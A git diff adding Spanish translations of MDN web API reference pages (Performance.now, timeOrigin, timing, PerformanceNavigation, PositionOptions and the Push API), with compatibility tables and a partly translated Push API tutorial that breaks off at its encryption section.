+<p>A diferencia de otros datos de tiempo disponibles en JavaScript (por ejemplo <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/now"><code>Date.now</code></a>), las marcas de tiempo devueltas por <code>Performance.now()</code> no se limitan a resoluciones de un milisegundo. En su lugar, representan tiempos como números en punto flotante con hasta una precisión de microsegundos.</p>
+
+<p>También a diferencia de <code>Date.now()</code>, los valores devueltos por <code>Performance.now() </code>siempre se incrementan a un ritmo constante, independientemente del sistema de reloj (que podría estar ajustado manualmente o manipulado por software como NTP). De todos modos, <code>performance.timing.navigationStart + performance.now() </code>será aproximadamente igual a<code> Date.now()</code>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time Level 2', '#dom-performance-now', 'performance.now()')}}</td>
+   <td>{{Spec2('Highres Time Level 2')}}</td>
+   <td>Definiciones más estrictas de interfaces y tipos.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time', '#dom-performance-now', 'performance.now()')}}</td>
+   <td>{{Spec2('Highres Time')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("20.0")}} {{property_prefix("webkit")}}<br>
+    {{CompatChrome("24.0")}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("15.0")}}</td>
+   <td>10.0</td>
+   <td>{{CompatOpera("15.0")}}</td>
+   <td>{{CompatSafari("8.0")}}</td>
+  </tr>
+  <tr>
+   <td>en Web workers</td>
+   <td>{{CompatChrome("33")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("34.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>now()</code> en un worker dedicado está ahora separado del contexto principal de <code>now()</code>.</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("45.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome para Android</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatAndroid("4.0")}}</td>
+   <td>{{CompatChrome("25.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("15.0")}}</td>
+   <td>10.0</td>
+   <td>{{CompatNo}}</td>
+   <td>9</td>
+   <td>{{CompatChrome("25.0")}}</td>
+  </tr>
+  <tr>
+   <td>en Web workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("34.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>now()</code> en un worker dedicado está ahora separado del contexto principal de <code>now()</code>.</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("45.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Las versiones de Windows desde Chrome 20 al 33 devuelven <code>performance.now()</code> sólo con precisión de milisegundos.</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="http://updates.html5rocks.com/2012/08/When-milliseconds-are-not-enough-performance-now">When milliseconds are not enough: performance.now() </a>de HTML5 Rocks.</li>
+</ul>
diff --git a/files/es/web/api/performance/timeorigin/index.html b/files/es/web/api/performance/timeorigin/index.html
new file mode 100644
index 0000000000..c8f6255687
--- /dev/null
+++ b/files/es/web/api/performance/timeorigin/index.html
@@ -0,0 +1,48 @@
+---
+title: Performance.timeOrigin
+slug: Web/API/Performance/timeOrigin
+tags:
+  - API
+  - Experimental
+  - Propiedad
+  - Referencia
+  - Rendimiento
+  - timeOrigin
+translation_of: Web/API/Performance/timeOrigin
+---
+<p>{{SeeCompatTable}}{{APIRef("High Resolution Time")}}</p>
+
+<p>La propiedad de solo lectura <strong><code>timeOrigin</code></strong> de la inferfaz {{domxref("Performance")}} devuelve una marca de tiempo de alta precisión del inicio de medida de rendimiento.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>timeOrigin</em> = performance.timeOrigin</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Una marca de tiempo de alta precisión.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time Level 2','#dom-performance-timeorigin','timeOrigin')}}</td>
+   <td>{{Spec2('Highres Time Level 2')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("api.Performance.timeOrigin")}}</p>
+</div>
diff --git a/files/es/web/api/performance/timing/index.html b/files/es/web/api/performance/timing/index.html
new file mode 100644
index 0000000000..ef5e07387b
--- /dev/null
+++ b/files/es/web/api/performance/timing/index.html
@@ -0,0 +1,57 @@
+---
+title: Performance.timing
+slug: Web/API/Performance/timing
+tags:
+  - API
+  - Deprecada
+  - Legado
+  - Propiedad
+  - Rendimiento
+  - Solo lectura
+  - Tiempo de navegación
+translation_of: Web/API/Performance/timing
+---
+<p>{{APIRef("Navigation Timing")}}{{deprecated_header}}</p>
+
+<div class="warning">
+<p>Esta propiedad está deprecada en <a href="https://w3c.github.io/navigation-timing/#obsolete">Navigation Timing Level 2 specification</a>. Por favor usa {{domxref("Performance.timeOrigin")}} en vez esta..</p>
+</div>
+
+<p>La propiedad de solo lecutra <code><strong>Performance</strong></code><strong><code>.timing</code></strong> de legado devulve un objeto {{domxref("PerformanceTiming")}} que contienen información relacionada con el rendimiento en relación a la latencia.</p>
+
+<p>Esta propiedad no está disponible en workers.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>var timingInfo</em> = <em>performance</em>.timing;</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Navigation Timing', '#sec-window.performance-attribute', 'Performance.timing')}}</td>
+   <td>{{Spec2('Navigation Timing')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("api.Performance.timing")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>The {{domxref("Performance")}} interface it belongs to.</li>
+</ul>
diff --git a/files/es/web/api/performancenavigation/index.html b/files/es/web/api/performancenavigation/index.html
new file mode 100644
index 0000000000..60ed7f1ce4
--- /dev/null
+++ b/files/es/web/api/performancenavigation/index.html
@@ -0,0 +1,87 @@
+---
+title: PerformanceNavigation
+slug: Web/API/PerformanceNavigation
+tags:
+  - API
+  - API de tiempo de navegación
+  - Compatibilidad
+  - Deprecada
+  - Interfaz
+  - Legado
+  - Referencia
+  - Rendimiento
+  - TIempo
+  - Tiempo de navegación
+translation_of: Web/API/PerformanceNavigation
+---
+<p>{{APIRef("Navigation Timing")}}</p>
+
+<div class="warning">
+<p>Esta interfaz está deprecada en <a href="https://w3c.github.io/navigation-timing/#obsolete">Navigation Timing Level 2 specification</a>. Por favor usa la interfaz {{domxref("PerformanceNavigationTiming")}} en lugar de esta.</p>
+</div>
+
+<p>La interfaz de legado <strong><code>PerformanceNavigation</code></strong> representa información acerca de cómo la navegación en el documento actual fue hecha.</p>
+
+<p>Un objeto de este tipo puede ser optenido con el llamado del atributo de solo lectura {{domxref("Performance.navigation")}}.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>La interfaz <code>PerformanceNavigation</code> no hereda ninguna propiedad.</em></p>
+
+<dl>
+ <dt>{{deprecated_inline}} {{domxref("PerformanceNavigation.type")}} {{readonlyInline}}</dt>
+ <dd>Un <code>unsigned short</code> el cual indica cómo la navegación en esta página fue hecha. Los valores posibles son:</dd>
+ <dd>
+ <dl>
+  <dt><code>TYPE_NAVIGATE</code> (0)</dt>
+  <dd>La página fue accesada por un link, un marcador, un formulario enviado, o un script, o escribiendo la URL en la barra de direcciones.</dd>
+  <dt><code>TYPE_RELOAD</code> (1)</dt>
+  <dd>La página fue accesada haciendo click al botón de Recargar o con el método {{domxref("Location.reload()")}}.</dd>
+  <dt><code>TYPE_BACK_FORWARD</code> (2)</dt>
+  <dd>La página fue accesada por la navegación en el historial.</dd>
+  <dt><code>TYPE_RESERVED</code> (255)</dt>
+  <dd>Cualquier otra forma.</dd>
+ </dl>
+ </dd>
+ <dt>{{deprecated_inline}} {{domxref("PerformanceNavigation.redirectCount")}} {{readonlyInline}}</dt>
+ <dd>Un <code>unsigned short</code> que representa el número de REDIRECTs hechos antes de llegar a la página.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em><em>La interfaz <code>Performance</code> no hereda ningún método</em></em>.</p>
+
+<dl>
+ <dt>{{deprecated_inline}} {{domxref("PerformanceNavigation.toJSON()")}}</dt>
+ <dd>Es un jsonizer que retorna un objeto json que representa el objecto <code>PerformanceNavigation</code>.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Navigation Timing', '#sec-navigation-info-interface', 'PerformanceNavigation')}}</td>
+   <td>{{Spec2('Navigation Timing')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+
+
+<p>{{Compat("api.PerformanceNavigation")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>The {{domxref("Performance")}} that allows access to an object of this type.</li>
+ <li>{{domxref("PerformanceNavigationTiming")}} (part of Navigation Timing Level 2) {{experimental_inline}}</li>
+</ul>
diff --git a/files/es/web/api/positionoptions/index.html b/files/es/web/api/positionoptions/index.html
new file mode 100644
index 0000000000..349aba4631
--- /dev/null
+++ b/files/es/web/api/positionoptions/index.html
@@ -0,0 +1,109 @@
+---
+title: PositionOptions
+slug: Web/API/PositionOptions
+tags:
+  - Geolocalización
+  - Interfaz
+  - Referencia
+translation_of: Web/API/PositionOptions
+---
+<p>{{APIRef("Geolocation API")}}</p>
+
+<p>La interfaz <strong><code>PositionOptions</code></strong> describe las opciones disponibles cuando invocamos el "backend" de geolocalización. El navegador no crea este objeto directamente: es el script que invoca quien lo crea y usa como un parámetro de {{domxref("Geolocation.getCurrentPosition()")}} y {{domxref("Geolocation.watchPosition()")}}.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>La interfaz <code>PositionOptions</code> no hereda ninguna propiedad</em>.</p>
+
+<dl>
+ <dt>{{domxref("PositionOptions.enableHighAccuracy")}}</dt>
+ <dd>Es un {{domxref("Boolean")}} que indica que la aplicación quiere recibir los mejores resultados posibles. Si es <code>true</code> y si el dispositivo es capaz de proporcionar una posición más precisa, así lo hará. Ten en cuenta que esto puede resultar en tiempos de respuesta más lentos o en un incremento del uso de energía (con un chip GPS en un teléfono móvil por ejemplo). Por otro lado, si es <code>false</code> (el valor por defecto), el dispositivo tiene libertad para decidir ahorrar recursos respondiendo más rápido y/o usando menos energía.</dd>
+ <dt>{{domxref("PositionOptions.timeout")}}</dt>
+ <dd>Es un valor <code>long</code> positivo que representa el máximo período de tiempo (en millisegundos) que se le permite tomar al dispositivo para retornar a una posición. El valor por defecto es <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity" title="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code>, y significa que <code>getCurrentPosition()</code> no retornará hasta que esté disponible la posición.</dd>
+ <dt>{{domxref("PositionOptions.maximumAge")}}</dt>
+ <dd>Es un valor <code>long</code> positivo que indica la edad máxima en milisegundos de una posible posición "cacheada" que es aceptable retornar. Si es <code>0</code>, significa que el dispositivo no puede usar posiciones "cacheadas" y debe intentar conseguir la posición real actual. Si es <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity" title="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code> el dispositivo debe retornar una posición previamente "cacheada" independientemente de su edad.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em><em>La interfaz <code>PositionOptions</code> no implementa ni hereda ningún método<em>.</em></em></em></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#positionoptions', 'PositionOptions')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Especificación inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    Removed in 15.0<br>
+    Reintroduced in 16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>La interfaz {{domxref("Geolocation")}} que la usa.</li>
+</ul>
diff --git a/files/es/web/api/push_api/index.html b/files/es/web/api/push_api/index.html
new file mode 100644
index 0000000000..0379ef3ee2
--- /dev/null
+++ b/files/es/web/api/push_api/index.html
@@ -0,0 +1,175 @@
+---
+title: Push API
+slug: Web/API/Push_API
+tags:
+  - API
+  - Experimental
+  - Notificaciones
+  - Push
+  - Referencia
+translation_of: Web/API/Push_API
+---
+<p>{{DefaultAPISidebar("Push API")}}{{SeeCompatTable}}</p>
+
+<p>La <strong>API Push</strong> otorga a las aplicaciones web la habilidad de recibir mensajes enviados a ellas desde un servidor, sin importar si la aplicación está o no en primer plano o cargada. Esto permite a los desarrolladores enviar notificaciones asíncronas y actualizaciones para los usuarios que las aceptan.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Esta documentación cubre la especificación del API Push de W3C; si estás buscando la documentación para el mecanismo push propio de Firefox OS, ve <a href="/en-US/docs/Web/API/Simple_Push_API">Simple Push</a>.</p>
+</div>
+
+<h2 id="Push_conceptos_y_uso">Push conceptos y uso</h2>
+
+<p>Para que una aplicación recibá mensajes push, esta debe tener un <em><a href="/en-US/docs/Web/API/ServiceWorker_API">service worker</a></em>. Cuando el service worker esta activo, se puede suscribir usando {{domxref("PushManager.subscribe()")}}.</p>
+
+<p>El resultado de {{domxref("PushSubscription")}} incluye toda la información que la aplicación necesita para enviar un mensaje push: un <em>endpoint </em>y la llave de cifrado necesaria para enviar los datos.</p>
+
+<p>El service worker se iniciará cuando sea necesario manejar mensajes push entrantes, que se entregan al manejador de eventos. Esto permite a las aplicaciones reaccionar a los mensajes push recibidos, por ejemplo para mostrar una notiificación usando {{domxref("ServiceWorkerRegistration.showNotification()")}}.</p>
+
+<p>Cada suscripción es unica para un service worker. El endpoint para la subscripción es una unica <a href="http://www.w3.org/TR/capability-urls/">capability URL</a>: el conocimiento del endpoint es todo lo se necesita para enviar un mensaje a tu aplicación. La URL del endpoint  por lo tanto necesita ser mantenida secreta, u otras aplicaciones podrían ser capases de enviar mensajes push a tu aplicación.</p>
+
+<p>Activar un Service-Worker para entregar un mensaje push puede resultar en el incremento de uso de recursos, especialmente de la batería. Los diferentes navegadores disponen de diferentes esquemas para manejar esto - en la actualidad no existe un mecanismo estándar para ello. Firefox permite un numero limitado (det. cuota) de mensajes push para enviar a una aplicación, aunque los mensajes push que generan una notificación estan exentos de este límite. Este límite se actualiza cada vez que se visita el sitio web. En comparación, Chrome no aplica límites, pero requiere que todo mensaje push muestre una notificación.</p>
+
+<div class="note">
+<p><strong>Note: </strong> Desde Gecko 44, la cuota permitida de Push-messages por aplicación no se ve incrementada cada vez que se emite una nueva notificación, cuando otra sigue visible, durante el periodo de 3 segundos. Esto ayuda al manejo de casos en los que se reciben rafagas de notificaciones y no todas ellas emiten una notificación visible. </p>
+</div>
+
+<div class="note">
+<p><strong>Nota:</strong> en Chrome las versiones anteriores a la 52, requieren la cnfiguración de un proyecto en <a href="https://developers.google.com/cloud-messaging/">Google Cloud Messaging</a> para el envío de Push-Messages, así como el uso del numero de proyecto y la API key asociadas para el envío de notificaciones push. Tambien se requiere el detalle de algunos parametros especiales en el app manifest para el uso de este servicio.</p>
+</div>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("PushEvent")}}</dt>
+ <dd>Represena una acción push enviada al <a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope">alcance global</a> (global scope) de un {{domxref("ServiceWorker")}}. Contiene información enviada desde una aplicación a {{domxref("PushSubscription")}}.</dd>
+ <dt>{{domxref("PushManager")}}</dt>
+ <dd>Provides a way to receive notifications from third-party servers as well as request URLs for push notifications. This interface has replaced functionality offered by the obsolete {{domxref("PushRegistrationManager")}} interface.</dd>
+ <dt>{{domxref("PushMessageData")}}</dt>
+ <dd>Provee acceso a los datos push enviados por el servidor e incluye metodos para manipular los datos recibidos.</dd>
+ <dt>{{domxref("PushSubscription")}}</dt>
+ <dd>Provee el URL endpoint para una suscripción y permite la desuscripción de un servicio push.</dd>
+</dl>
+
+<h2 id="Service_worker_Adiciones">Service worker: Adiciones</h2>
+
+<p>Las siguientes adiciones al <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a> han sido especificadas en la Push API, para proveer un punto de entrada al uso de Push messages. Tambien monitorizan y responden a los cambios en los eventos Push y Subscription.</p>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}</dt>
+ <dd>Devuelve una referencia a la interfaz {{domxref("PushManager")}} para el manejo de las suscripciones incluyendo: la suscripción, obteniendo una suscripción activa y accediendo al estado de permiso de push. Este es el punto de inicio para el uso de Push messaging.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope.onpush")}}</dt>
+ <dd>Manipulador de eventos activado, cada vez que ocurre un evento {{Event("push")}}; Eto es, cada vez que se recibe un push-message del servidor.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}}</dt>
+ <dd>Manipulador de eventos activado, cada vez que ocurre un evento {{Event("pushsubscriptionchange")}}; Por ejemplo, cuando una suscripción ha sido invalidada o esta apunto de serlo. (P.ej. cuando un push service determina un tiempo de expiración.)</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Mozilla's <a href="https://serviceworke.rs/">ServiceWorker Cookbook</a> contiene varios ejemplos Push muy utiles</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Push API")}}</td>
+   <td>{{Spec2("Push API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatGeckoDesktop(44.0)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("PushEvent.data")}},<br>
+    {{domxref("PushMessageData")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(44.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("PushEvent.data")}},<br>
+    {{domxref("PushMessageData")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Currently available only on desktop versions of Firefox; also, push messages are only delivered when Firefox is running.</p>
+
+<p>[2]: <a href="https://dev.modern.ie/platform/status/pushapi/">Microsoft Edge status: Under Consideration; Roadmap Priority: Low</a></p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="Web/API/Push_API/Using_the_Push_API">¿Cómo usar la API Push?</a></li>
+ <li><a href="https://github.com/chrisdavidmills/push-api-demo">Push API Demo</a>, on Github</li>
+ <li><a href="http://updates.html5rocks.com/2015/03/push-notificatons-on-the-open-web">Push Notifications on the Open Web</a>, Matt Gaunt</li>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a></li>
+</ul>
diff --git a/files/es/web/api/push_api/using_the_push_api/index.html b/files/es/web/api/push_api/using_the_push_api/index.html
new file mode 100644
index 0000000000..0088b97dd7
--- /dev/null
+++ b/files/es/web/api/push_api/using_the_push_api/index.html
@@ -0,0 +1,432 @@
+---
+title: Usando la API Push
+slug: Web/API/Push_API/Using_the_Push_API
+translation_of: Web/API/Push_API
+---
+<p class="summary"><span class="seoSummary">La W3C <a href="/en-US/docs/Web/API/Push_API">Push API</a> offers some exciting new functionality for developers to use in web applications: this article provides an introduction to getting Push notifications setup and running, with a simple demo.</span></p>
+
+<p>La habilidad de enviar mensajes o notificaciones de un servidor a un cliente en cualquier momento —si la aplicación está activa en su sitema o no—es algo que ha sido disfrutado por las plataformas nativas durante algún tiempo, y esta finalmente llega a la web! el soporte para muchos push está ahora disponible en Firefox 43+ y Chrome 42+ en escritorio, esperamos seguir pronto con las plataformas moviles. {{domxref("PushMessageData")}} actualmente solo es soportada experimentalmente en Firefox (44+), y la implementación está sujeta a cambios.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Early versions of Firefox OS used a proprietary version of this API called <a href="/en-US/docs/Web/API/Simple_Push_API">Simple Push</a>. This is being rendered obsolete by the Push API standard.</p>
+</div>
+
+<h2 id="Demo_las_bases_de_una_simple_app_de_servidor_de_chat">Demo: las bases de una simple app de servidor de chat</h2>
+
+<p>La demo que hemos creado proporciona los principios de una simple app de chat. Esta presenta un formulario para que ingreses un identificador de chat y un boton que al presionar se suscriba a los mensajes push.</p>
+
+<p>En este punto, el nombre de los nuevos suscriptores aparecerá en la lista de suscriptores, junto con un campo de texto y un botón de envío para permitir al suscriptor enviar mensajes.</p>
+
+<p>At this point, the new subscriber's name will appear in the subscriber's list, along with a text field and submit button to allow the subscriber to send messages.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11823/push-api-demo.png" style="border: 1px solid black; display: block; height: 406px; margin: 0px auto; width: 705px;"></p>
+
+<p>Para correr la demo, siga las instrucciones de <a href="https://github.com/chrisdavidmills/push-api-demo">push-api-demo README</a>. Tenga en cuenta que el componente server-side aún nesecita un poco de trabajo para que funcione en chrome y se ejecute de una manera más rezonable. Pero los aspectos de push pueden ser explicados a fondo; Nos sumergiremos en ella después de revisar las tecnologías en juego.</p>
+
+<h2 id="Visión_de_la_tecnología">Visión de la tecnología</h2>
+
+<p>Esta sección proporciona un esquema de qué tecnologías están involucradas en este ejemplo.</p>
+
+<p>Los mensajes web push hacen parte de la familia tecnológica <a href="/en-US/docs/Web/API/Service_Worker_API">service workers</a>; en particular, se requiere que un service worker esté activo en la página para recibir mensajes push. el service worker recibe el mensaje push, y acontinuación depende de usted cómo notificar a la página. Usted puede:</p>
+
+<p>Web Push messages are part of the <a href="/en-US/docs/Web/API/Service_Worker_API">service workers</a> technology family; in particular, a service worker is required to be active on the page for it to receive push messages. The service worker receives the push message, and then it is up to you how to then notify the page. You can:</p>
+
+<ul>
+ <li>Enviar una <a href="/en-US/docs/Web/API/Notifications_API">notificación web</a> emergente para alertar al usuario. Esto requiere que sean concedidos los permisos para enviar el mensaje push.</li>
+ <li>Envía un mensaje a la página principal a través de un  {{domxref("MessageChannel")}}.</li>
+</ul>
+
+<p>A menudo una combinación de los dos será necesario; La demo a continuación muestra un ejemplo de cada uno.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Usted necesita algún tipo de código que se ejecute en el servidor para manejar el cifrado de punto final/datos y enviar las solicitudes de notificaciones push. En nuestra demostración hemos creado un servidor  quick-and-dirty usando <a href="https://nodejs.org/">NodeJS</a>.</p>
+</div>
+
+<p>El service worker también tiene que suscribirse al servicio de mensajería psuh. Cada sesión recibe su propio punto final único cuando se suscribe al servicio de mensajería. Este punto final es obtenido desde la propiedad  ({{domxref("PushSubscription.endpoint")}}) en el objeto de suscripción. Este punto final se puede enviar a su servidor y se utiliza para enviar un mensaje al service worker asctivo en esta sesión. Cada navegador tiene su propio servidor de mensajería push para manejar el envío del mensaje push.</p>
+
+<h3 id="Encryption">Encryption</h3>
+
+<div class="note">
+<p><strong>Note</strong>: For an interactive walkthrough, try JR Conlin's <a href="https://jrconlin.github.io/WebPushDataTestPage/">Web Push Data Encryption Test Page</a>.</p>
+</div>
+
